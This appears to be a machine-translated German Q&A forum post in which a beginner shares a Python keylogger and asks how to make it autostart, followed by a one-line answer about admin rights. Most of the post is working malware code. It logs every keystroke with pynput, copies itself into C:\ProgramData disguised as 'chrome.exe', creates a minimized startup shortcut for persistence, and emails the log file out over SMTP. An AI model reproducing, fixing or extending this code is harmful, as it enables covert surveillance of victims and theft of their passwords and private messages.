2017-11-25 5 views
-2

ich bin neu in der Codierung, und ich brauche eine Art von Hilfe. Ich machte einfache "Keylogger", mit Beispielen von Google. Alles funktioniert gut, aber ich weiß nicht, wie Keylogger automatisch Autostart hinzufügen. Ich habe versucht, die Datei automatisch zu kopieren, nachdem sie zuerst mit Administratorrechten ausgeführt wurde, an das ausgewählte Ziel und dann eine Verknüpfung zum Autostart zu senden. Aber das Problem ist, dass jedes Mal, wenn ich den Computer neu starte, es Administratorrechte benötigt, so dass ich nur eine Warnung erhalte, über einen Fehler beim Starten eines Skripts und ein Skript, das in diesem Moment abstürzt. Ich denke es ist, weil Skript versucht jedes Mal Datei zum Autostart hinzufügen, auch wenn es bereits existiert. Hier ist der Code, wie Sie sehen können, habe ich versucht, ifexcept Blöcke, aber es ist immer noch nicht funktioniert, wie ich will :(Python; Keylogger läuft beim Start

import logging 
from pynput.keyboard import Key, Listener 

import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email import encoders 

import win32com.client 
import pythoncom 
import os 

import pathlib 
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True) 

import shutil 

srcfile = 'chrome.exe' 
dstroot = 'C:\ProgramData\degid' 
dstdir = os.path.join(dstroot, os.path.dirname(srcfile)) 
shutil.copy(srcfile, dstdir) 

filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 

if os.path.exists(filePath): 
    if os.path.isfile(filePath+'chrome.lnk')==False: 
     try: 
      desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 
      path = os.path.join(desktop, 'chrome.lnk') 
      target = r'C:\ProgramData\degid\chrome.exe' 
      shell = win32com.client.Dispatch("WScript.Shell") 
      shortcut = shell.CreateShortCut(path) 
      shortcut.Targetpath = target 
      shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal 
      shortcut.save() 
     except: 
      pass 

email_user = '' 
email_password = '' 
email_send = '' 

subject = '' 

msg = MIMEMultipart() 
msg['From'] = email_user 
msg['To'] = email_send 
msg['Subject'] = subject 

body = 'Hi there' 
msg.attach(MIMEText(body,'plain')) 

filename='C:\ProgramData\degid\degid.txt' 
attachment =open(filename,'rb') 

part = MIMEBase('application','octet-stream') 
part.set_payload((attachment).read()) 
encoders.encode_base64(part) 
part.add_header('Content-Disposition',"attachment; filename= "+filename) 

msg.attach(part) 
text = msg.as_string() 
server = smtplib.SMTP('', 587) 
server.starttls() 
server.login(email_user,email_password) 

server.sendmail(email_user,email_send,text) 
server.quit() 

log_dir ="" 

logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

Antwort

0

Sie Verzeichnisse zugreifen und versuchen zu sehen, ob eine Datei, die Notwendigkeit Admin prevs auf Zugang vorhanden - sogar zum Lesen des Verzeichnisses